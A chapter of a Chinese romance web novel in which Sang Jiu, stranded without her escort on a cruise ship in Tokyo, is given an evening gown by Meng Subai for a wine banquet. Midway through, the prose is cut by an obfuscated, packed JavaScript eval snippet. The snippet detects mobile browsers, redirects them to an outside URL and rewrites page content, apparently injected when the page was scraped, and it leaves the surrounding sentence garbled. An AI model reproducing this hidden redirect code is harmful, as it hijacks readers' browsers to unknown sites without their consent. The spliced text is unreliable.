桑酒也瞬间了然。 他们好像没有以后。 沉默了一阵,桑酒忽然问:“这两个星座相隔很远吗?” 孟苏白:“大概240光年。” 虽然他们刚才不过须臾的转动,可两者几乎分处天空的两端,从宇宙这一头,跨越到那一头,即便是光,也要穿越数百年才能抵达。 桑酒不禁感慨:“简直难以想象。” 就像她和他的身份差距,也遥远得无法想象。 “也没那么难。” 孟苏白将望远镜设备还原到初始状态,抬头仰望头顶那片星空。 “只要抬头,我们就能看到它们。” 10. 第 10 章 第三日,中午十二点。 与世界失联32小时。 邮轮在高雄靠岸。 通信恢复。 早上10点,Chris特地过来打了招呼,迫不及待要下船游玩,还说回来给她带礼物。 桑酒昨晚失眠,堪堪睡了不过四小时,又做了不少奇奇怪怪的梦,起床气自然不小,但也耐着性子与他挥手告别,随后关上门回床,继续蒙头大睡。 等再醒来,已是夜晚八点半,窗外海岸线城市繁华,烟火气息正浓。 却正渐行渐远。 Chris在电话那头一脸无奈吐槽,因为一场车祸,他被诊断脑震荡,要住院一个晚上观察,他只能明日乘飞机去东京汇合。 桑酒嘴角抽了抽,只觉不可思议。 如此荒诞的事情,就发生在眼前。 但好在他人没事,万幸万幸! 而更荒诞的事情,还在40个小时之后。 浮屿号即将抵达东京,而Chris却因台风登陆高雄,又被迫原地逗留了两日。 他注定这一趟是来不了东京,桑酒略感遗憾。 更遗憾的是,期待许久的红酒晚宴即将开始,她还等着Chirs带她进去,介绍这场来自全球各地的红酒盛宴呢。 看样子,能不能去参加都是问题。 好在,Chris把邀请码发给了她,说如果她感兴趣的话,可以自己找个人去。 桑酒没听懂他说的找个人,只以为他担心自己一个人太无趣。 晚宴六点开始,到晚上八点结束。 而八点半,浮屿号将起航离开东京,回到港岛。 吃完中饭,桑酒特地去甲板的无边游泳池舒缓了一下。 十二月的东京,天气虽不算寒冷,又是恒温池水,但也有些凉意。 好在今日大多数游客都下船逛京东去了,邮轮上特别清净,连泳池的池水都是干干净净的。 五点,落日正浓。 桑酒游到泳池边缘,扶着玻璃墙,视线懒懒扫过海的对岸。 漫天霞光将世界染成了蜜糖色,仿佛宫崎骏的漫画,人间治愈。 哪怕这一路拍过无数照片,她还是不想错过,拿起装在防水袋里的手机拍下这一幕,来回翻看时,又无意翻到之前Chris传送过来的视频——最后的定格。 之所以说是最后的定格,是因为那晚观星塔风太大,纵使Chris技术再好,无人机也没有稳住,直接坠入海里炸机了,所幸控制板里存储了一段珍贵的画面。 漆黑如深渊的海上,悬浮的水晶球内,隐约可见两道相依偎的身影,从开始到结束,都未曾分离。 Chris拍了很多画面,甚至还近距离聚焦怼着拍,清晰可见画面里男人低头附在她耳边低语,乍一看,两人就像在——接吻。 桑酒当时直接心跳加速,面红耳赤,完全不敢把这个视频的存在告诉那人。 明明什么都没有做,当时也不觉得有什么不妥,如今从第三视角看去,却莫名觉得暧昧羞赧。 也难怪从灯塔下去,Chris会一脸疑惑询问她:“Romy,不是说不是朋友吗?” 当时别提有多尴尬了,还好那人也没有多问,只是偏头看她一眼,意味不明。 这意味不明的眼神,延至她这两晚不可言说的梦境里,更加深邃,令人心动难耐。 视频里的画面和梦境里的画面逐渐重叠,竟好像真经历过一般,那股心慌再也挥之不去。 又好似有一股电流蔓延全身。 脑海中,那张清隽的脸愈加深刻,眉目如画。 记不清,这是第几次,无端想起他了。 桑酒垂头,沉在水里,试图让自己清醒。 怎么办。 她好像真对他,上瘾了。 不行! 不要再想了! 桑酒挣出水面,用力拍了拍脸颊,强行阻断自己的想入非非。 自从那日意识到这个问题后,桑酒就不允许自己再胡思乱想。 因为这个男人,根本不是她能抓住的。 今日过后,他就彻底从她的世界远离,天下之大,他们不可能再见面。 这两日,桑酒的脑子其实乱得很,她对旅行途中的艳遇并不感兴趣,觉得那不过是肾上腺素作祟,再加上陌生又神秘的滤镜效果,生出的一种情感,荒谬且极不负责任。 所以她必须戒掉这个莫名其妙的瘾,且要快!要狠! 桑酒以为,只要关上手机,寻一些正事做,就能浇灭这颗蠢蠢欲动的心。 所以这两日,她很少出房间,就在阳台上整理Chris授给她的红酒知识,潜心学习,偶尔在阳台上画画放松一下。 画大海,画日出日落、画星空,画男人…… 桑酒读书不是一块好料,但画画挺有天赋,还曾被美术老师选去当艺术生,不过美术生太烧钱,而且听说当画家的话,要等死后才有钱,她便婉拒了,将唯一爱好和特长掐在摇篮里。 虽然如此,也不妨碍她天赋异禀,画景栩栩如生,画人温柔细腻。 剑眉星目,鼻似山峰,唇若薄刃…… 当脑中所想悄然呈现于素描纸上,桑酒直接慌了神。 勿念勿想勿见! 旅行结束后,这里一切都只是虚假的泡沫。 她试图断绝所有幻想,把铅笔扔进海里,等扬起手中的画册时,又有些不舍。 合上画册扔到一旁,彻底沉入泳池。 桑酒觉得,要忘记一个男人,应该很简单。 她跟李佑泽相识多年,也谈了两年,从没有什么强烈的思念欲望。 没道理一个才认识不过几天的男人,不过就是长得好看了些,不至于让她念念不忘。 然而,从泳池回房这一路,看着不少从东京游玩回来的游客,桑酒心底又不禁有一丝落寞。 他应该,已经下船了吧。 他们应该,不会再见了。 桑酒低头,按照游玩指南提示,终于找到晚宴地点,却在看到门口盛装出席的男男女女时,不由停下脚步。 好像Chris有提过,这次晚宴非比寻常,是国外几家知名酒庄联名举办的,主要目的是推广一些即将在中国上市的新品,所以采取付费模式,邀请的是一些真正爱好红酒且有一定知名度的人士,包括一些美食博主和红酒达人,场面算得上高奢隆重。 原本以为,既然是付费模式,那她持有黑卡应该可以进去,可自己格格不入的便装,忽然让她没了勇气。 桑酒看了眼时间,离宴会开始还有四十分钟! 她记得来的路上,有一层甲板有卖衣服的店! 随便买一件漂亮的裙子,应该也比身上这件穿到起球的毛衣正式吧! 然而等她气喘吁吁地找到店铺时,挑来挑去也没有合适的裙子,想着还不如一件西装。 西装…… 桑酒掏黑卡的手一顿,当即放下手里的长裙,跟老板摆了摆手,转身往电梯口跑去。 如果非要说西装,房间里那一柜子熨烫整齐的男士西装岂不是更好,虽然宽松了些,但胜在价格昂贵,德国贵族老牌子,披在身上不怕被那些酒商歧视。 桑酒几乎是一口气跑回房间那层甲板,却在出了电梯时,被人一把拽住。 “Romy!?” 桑酒猛然回头,看到一张熟悉的脸。 “……Carson?” 她下意识往他身后看了一眼,却没有看到什么。 贺煜笑:“总算遇见你了,这两天怎么都不见你人影呢?” 桑酒有些心虚:“邮轮这么大,要遇见很难吧。” “倒也是。”贺煜挑眉。 这语气,听着有几分自豪。 桑酒还想再问什么,可时间紧迫,她抬手:“那您先忙,我还有事,先走了……” 贺煜却问:“看你刚才着急忙慌的,是要去干什么呢?” 桑酒也没隐瞒:“我想去参加那个红酒晚宴。” “红酒晚宴?” “嗯,不过好像要穿礼服才能进去,”桑酒迟疑了片刻,还是咨询了他,“您知道船上哪里有卖礼服的吗?” 贺煜顿了两秒,才说:“这个,我还真不知道。” “没关系,我回房间看看,”桑酒最后的希望也落空,笑着跟他挥手,“再见。” “再……见。” 直到桑酒身影隐入人群之中,贺煜才将刚藏在身后的手机放回耳边,一脸打趣:“我看这小玫瑰挺绝情的啊,她不知道你今天要下船吗?” 对面默了几秒,却问:“她刚说的晚宴,是什么?” 贺煜说:“应该是我二姐旗下公司举办的吧,你知道我二姐这个人,外貌协会骨灰级会长,办这些宴会很讲究穿着和礼仪,小玫瑰那位外国友人好像还滞留在高雄,没有舞伴她应该进不去,不过你放心,你不在我也会照顾好小玫瑰的,怎么说,我跟Romy也是喝过酒的朋友,你就放心……” 然而他话还没说完,对面就直接挂断了电话。 贺煜看着屏幕呵了一声。 也不知道是谁,明明大早就可以下船离开,第一次做事拖延,到现在还没走。 “Kingsley,想跟人告别,就直接点,为什么不留下她的电话?” 语音一发过去,贺煜就笑得一脸看好戏。 他可太喜欢看孟苏白吃瘪了,尤其是为了一个女人。 - 五点三十五分,桑酒回到房间。 拉开衣帽间衣柜,面对那一排排的男装有点头大。 她一边扎头发,目光一边逡巡在那些叫不出品牌名但一看就很贵的西装衬衫上。 白色太过显摆,黑色衬衫也不会显得太宽松随意,裤子只能穿自己的,也不知道会不会被人瞧出什么…… “阿嚏!” 冷不丁打了个喷嚏,桑酒揉了揉鼻翼,有点痒。 许是下午泡温泉太久了,有种要感冒的预感。 顾不上太多,她踮起脚,取下昨晚穿的那件黑色衬衫。 她还是毕竟喜欢这款,版型修身一点,缎面面料一看就很奢华,稍微熨烫一下就可以。 桑酒正要去拿熨烫机时,忽然听到门铃声响。 她纳闷,折身去到门口,透过猫眼去看来人。 视线扫到门外的身影时,呼吸莫名断了半截。 过了好几秒,桑酒才平复呼吸,冷静地打开门,看到孟苏白时,故作惊讶:“苏先生?你……怎么来了?” 孟苏白:“方便进来吗?” “当然。” 她侧身,让他进来,内心有些小纠结。 快六点半了,迟到还能进去吗? “听Carson说,你需要一套礼服?” “啊?”桑酒猛然抬头。 他突然停下,害得她差点撞上他后背。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742570|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠得太近,她几乎嗅到他身上独有的乌木雪松香,让人心安的味道,令人着迷。 “嗯,”她下意识后退了一步,“不过不用了,我想到办法了,你觉得,我穿这套衣服怎么样?” 孟苏白盯着她看了几秒,点头:“很好看。” “那……” “等我一下。” 桑酒不明所以,只见他转身走向大开的衣柜,目光似扫了一眼那排西装,最后落在左下方的保险柜,蹲下身,输入密码。 下一秒,只听“滴”的一声,保险柜被打开。 桑酒目瞪口呆。 保险柜空间不小,装了不少东西,孟苏白从最下方抽出一个超大的银色礼盒,看着有些沉。 “今天的晚宴对着装要求很高,西装虽然很好看,但可能不太适合这个场合,正好,我从国外给自家小妹带了一件礼服,不过她在外地,没来得及送给她。” 他将礼盒放置在一旁的沙发上,回头看她:“试试吧。” 桑酒连忙摇头:“不……不用了,这不是你送给你小妹的礼物吗,我怎么能……” “无妨,”孟苏白温声说,“她礼服多的是,下次见面,估计要很久以后,这个礼物也未必送得出去。” “可是,这样不好吧……”虽然很心动,桑酒还是觉得不好意思。 或者说,自从他出现在眼前的那一刻,她的心就好像乱了一样,思绪发直,无法思考。 “宴会马上要开始了。”孟苏白没有给她再拒绝的机会,直接拆了包装盒。 修长如玉骨的手指层层剥开里面的牛皮纸,露出里面最后一层防尘袋包装,最后被他单手拎了出来,径直交到她手上。 “去换上吧。” 桑酒:“……” 怀里的礼服,沉甸甸却又蓬松柔软的手感,让人连呼吸都小心翼翼起来。 她说不出话来,只是回头看了他一眼,似有千言万语,却不知从何说起。 孟苏白也没有说话,只是微抬下巴,目光含笑。 桑酒深吸一口气,不再纠结,往浴室走去。 既然命运注定,从此再无交集,无论如何都不会改变。 那不如随心所欲,不再克制。 因为和这个人相处的每一刻,仿佛得到了救赎,让她觉得,这一生的不公和痛苦都可以忽略不计。 桑酒明白,任何事情,太过追求结果,往往会无趣。 当下快乐,才重要。 她小心翼翼拉开防尘袋拉链。 那是一件明黄色轻纱礼服,明艳大方,腰身绸缎丝滑如阳光般温暖,曳地裙摆则是独特繁琐的镂空蕾丝,绣着立体的玫瑰花朵,质感高级,浮光跃金,穿上它,仿佛化身童话里的公主,置身于一个梦幻世界。 这样漂亮的裙子,桑酒只在电视上见过——星光璀璨的晚宴,珠光宝气的女明星,身着华服,高贵美丽。 桑酒也是第一次穿这种礼服,又因为抹胸的设计,肩背露出一大片,难免有些放不开,撩起裙摆抱在胸前,又补了一下妆,迟疑很久,才鼓起勇气推开门。 “好……了。” 她几乎不敢抬头。 曾以为,穿这样隆重,只会在结婚那一天。 而此刻,她忐忑的心,不亚于做一个新娘。 对面仿佛沉默了半个世纪。 许久才给她回应。 “很漂亮。” 孟苏白走过去,站在桑酒一步远的位置,仔细看,语气不掩惊艳与欣赏,眉眼间却暗藏一丝落寞。 “黄色很衬你,明亮耀眼,就像古希腊神话里的太阳女神。” 他从不用虚头巴脑的空话去赞美一个女性,此刻却忍不住将她奉为神明。 短短几日,他已见过她很多样子,见过她失声痛哭的模样,见过她被人惹毛发飙,见过朝霞里她绝美的身影,见过她醉后的憨态可掬,也见过她躲在被窝黯然伤神抬头时脸颊挂着的两行泪,记得她谈及未来时的自信洒脱,也记得玻璃桥上因恐高症被吓得眉蹙成一团腿软得走不了路的她却依旧倔强到底,还有夜空下那抹比北极星还要明亮耀眼的笑容。 孟苏白第一次遇见这样充满矛盾的姑娘,明媚鲜活勇敢,却又充满忧伤。 明媚是她的脸庞,忧伤的是她的眼神。 他在她身上看到了许多,鲜活的傲气,无畏的精神。 明明是萍水相逢,可关于她的每一帧,似乎都烙印在脑海。 邮轮终会靠岸,而这一刻,如同电影落幕,结尾是她最美的样子。 一切都很完美。 她会很开心。 而他,会永远记住这一幕。 即便此后再无交集,他也不会遗憾今天的陪伴。 桑酒没有发觉男人语气异常,因为在她抬头看去的那一刻,她眼里的震惊更甚。 孟苏白不知为何也换下了冲锋衣,一身正装,黑衬衫黑西裤,袖子挽到小臂,青筋线条若隐若现,领口解了两粒扣,微微敞开,配上那张天生贵胄的脸,简直帅气到人神共愤,禁欲十足的气质,又不失性感和不羁。 桑酒还是第一次看他穿西装,只一眼就仿佛要无法呼吸。 她甚至不能多看两眼,不敢想象被包裹在黑色衬衫下的窄腰,藏着几块腹肌。 然而最让桑酒窒息的是,这套衣服,正是她最近经常穿的那套。 关键是那件黑色衬衫,她昨晚才当睡衣穿过! 没洗……